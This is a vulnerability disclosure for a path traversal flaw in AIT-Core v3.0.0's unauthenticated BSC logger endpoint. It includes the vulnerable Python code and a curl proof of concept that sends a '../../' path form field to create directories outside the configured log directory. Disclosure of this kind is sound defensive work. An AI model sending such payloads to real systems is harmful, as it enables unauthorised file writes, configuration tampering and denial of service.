Path Traversal in AIT-Core BSC Logger via Unauthenticated POST Request

Disclosed by
Excal1bur
Summary by Excal1bur

The Binary Stream Capture (BSC) REST endpoint POST /<n>/start in AIT-Core v3.0.0 accepts a path form parameter that is passed directly to os.path.join() and subsequently to os.makedirs() without any sanitization or validation. Because the BSC server operates with no authentication, any attacker with network access to the BSC port can exploit this to create directories and write PCAP capture files at arbitrary locations on the filesystem.

Affected Component

ait/core/bsc.py — call chain:

_add_logger_by_name() → add_logger() → _get_logger()

Vulnerable Code (Simplified)

# User input passed directly — no sanitization
data = dict(request.forms)
self._logger_manager.add_logger(name, address, conn_type, **data)

# Path joined without validation
if "path" in handler:
    log_file = os.path.join(log_file, handler["path"], filename)

# makedirs called on attacker-controlled path
if not os.path.isdir(os.path.dirname(log_file)):
    os.makedirs(os.path.dirname(log_file))

Proof of Concept

Environment: AIT-Core v3.0.0 · Python 3.10 · Ubuntu 22.04

# 1. Start the BSC server
export AIT_CONFIG=/path/to/AIT-Core/config/config.yaml
export AIT_ROOT=/path/to/AIT-Core
ait-bsc

# 2. Send malicious POST with path traversal payload
curl -X POST "http://localhost:8080/traversal_test/start" \
  --form "port=9999" \
  --form "conn_type=udp" \
  --form "log_dir=/tmp/base" \
  --form "path=../../tmp/pwned_ait"

# 3. Verify — directory created outside intended log_dir
ls /tmp/pwned_ait/

Impact

  • Write files to arbitrary filesystem paths outside the configured log_dir
  • Overwrite or corrupt configuration files in mission operations environments
  • Exhaust disk space on arbitrary partitions (Denial of Service)
  • Degrade forensic/telemetry integrity by scattering PCAP files across the filesystem
Activity